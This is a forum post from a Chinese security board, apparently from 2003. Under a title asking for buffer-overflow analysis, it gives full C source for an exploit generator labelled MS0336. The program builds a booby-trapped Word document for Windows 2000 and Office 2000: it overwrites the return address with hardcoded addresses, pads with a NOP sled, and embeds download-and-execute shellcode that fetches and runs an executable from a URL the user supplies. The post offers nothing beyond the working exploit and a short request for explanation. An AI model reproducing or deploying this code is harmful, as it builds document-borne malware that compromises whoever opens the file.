20CN网络安全小组论坛 - 编程破解

论坛: 编程破解标题: 缓冲区溢出分析

作者: afan271314 [afan271314]

论坛用户

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment(lib,"ws2_32")

#define JUSTROCK "2bad.doc"
#define EIP_OFFSET 0x5bb
#define SHELL_OFFSET 0x5d7

char shellcode[] =
//download and execute shellcode by jeno@vip.371.net
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x3c\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x34\x99\x99\x99\xC3\x12\x6B\xAA"
"\x59\x35\xA4\x01\x99\x99\x99\xEC\x6F\x18\x75\x51\x99\x99\x99\x12"
"\x6D\x10\xCF\xBD\x71\x0C\x99\x99\x99\xAA\x42\x10\x9F\x66\xAF\xF1"
"\x17\xD7\x97\x75\x71\x34\x99\x99\x99\x10\xDF\x91\xF1\xF5\xF5\x99"
"\x99\xF1\xF6\xF7\xB7\xFD\xF1\xEC\xEB\xF5\xF4\xCD\x66\xCF\x91\x10"
"\xDF\x9D\x66\xAF\xF1\xE7\x41\x7B\xEA\x71\x11\x99\x99\x99\x10\xDF"
"\x95\x66\xAF\xF1\x01\x67\x13\x97\x71\xE0\x99\x99\x99\x10\xDF\x8D"
"\x66\xAF\xF1\xBC\x29\x66\x5B\x71\xF3\x99\x99\x99\x10\xDF\x81\x66"
"\xEF\x9D\xF1\xAF\x83\xB6\xE9\x71\xC3\x99\x99\x99\x10\xDF\x89\xF3"
"\xFC\xF1\xEA\xB7\xFC\xE1\x10\xFF\x85\x66\xEF\x85\x66\xCF\x81\xAA"
"\x50\xC8\xC8\x66\xEF\x85\x66\xEF\xBD\xC8\x66\xCF\x89\xAA\x50\xC8"
"\x66\xEF\x85\x66\xCF\x8D\x66\xCF\x95\x70\x19\x99\x99\x99\xCC\xCF"
"\xFD\x38\xA9\x99\x99\x99\x1C\x59\xE1\x95\x12\xD9\x95\x12\xE9\x85"
"\x34\x12\xF1\x91\x72\x90\x12\xD9\xAD\x12\x31\x21\x99\x99\x99\x12"
"\x5C\xC7\xC4\x5B\x9D\x99\xCA\xCC\xCF\xCE\x12\xF5\xBD\x81\x12\xDC"
"\xA5\x12\xCD\x9C\xE1\x9A\x4C\x12\xD3\x81\x12\xC3\xB9\x9A\x44\x7A"
"\xAB\xD0\x12\xAD\x12\x9A\x6C\xAA\x66\x65\xAA\x59\x35\xA3\x5D\xED"
"\x9E\x58\x56\x94\x9A\x61\x72\x6B\xA2\xE5\xBD\x8D\xEC\x78\x12\xC3"
"\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A"
"\x5C\x72\x9B\xAA\x59\x12\x4C\xC6\xC7\xC4\xC2\x5B\x9D\x99\x71\x50"
"\x67\x66\x66"
//"http://127.0.0.1/b.exe"
//"\x98"
;

//I remarked this, so I can appoint URL myself....

// you may change this shellcode.

void main(int argc, char**argv)
{
if(argc != 4)
{
printf("MS0336.........By N.E.V.E.R at Ada Lab\n\n");
printf(" Man, use %s <outfile> <SP> <EXE URL>...\n\n",argv[0]);
printf(" Work well when PC is Win2K+SP3+Office2K :->\n");
printf(" 0: Win2K + SP0 [use 0xXXXXXXXX]\n");
printf(" 1: Win2K + SP1 [use 0xXXXXXXXX]\n");
printf(" 2: Win2K + SP2 [use 0xXXXXXXXX]\n");
printf(" 3: Win2K + SP3 [use 0x77e629e3]\n");
printf(" 4: Win2K + SP4 [use 0x77e1c256]\n\n");
printf("e.g. %s topsecret.doc 4 );]http://www.hehe.net/wokao.exe\n",argv[0]);
return;
}

FILE *fp1,*fp2;
if((fp1 = fopen(JUSTROCK,"rb+"))==NULL||(fp2 = fopen(argv[1],"wb+"))==NULL)
{
printf("Where is my .doc?");
return;
}

for(int i = 0; i < EIP_OFFSET; i++)
fputc(fgetc(fp1),fp2);

switch(atoi(argv[2]))
{
case 0:
fwrite("", sizeof(char), 4, fp2);
break;
case 1:
fwrite("", sizeof(char), 4, fp2);
break;
case 2:
fwrite("", sizeof(char), 4, fp2);
break;
case 3:
fwrite("\xE3\x29\xE6\x77", sizeof(char), 4, fp2);
break;
case 4:
fwrite("\x56\xC2\xE1\x77", sizeof(char), 4, fp2);
break;
default:
fwrite("", sizeof(char), 4, fp2);
break;
}

for(i = EIP_OFFSET + 4; i < SHELL_OFFSET; i++)
fputc(0x90,fp2);

fwrite(shellcode, sizeof(char), strlen(shellcode), fp2);
fwrite(argv[3],sizeof(char),strlen(argv[3]),fp2);
fwrite("\x98",sizeof(char),1,fp2);
fclose(fp1);
fclose(fp2);
printf("done...");

原标题:请286给分析一下

[此贴被 286(unique) 在 01月13日09时00分编辑过]

地主发表时间: 03-12-24 14:14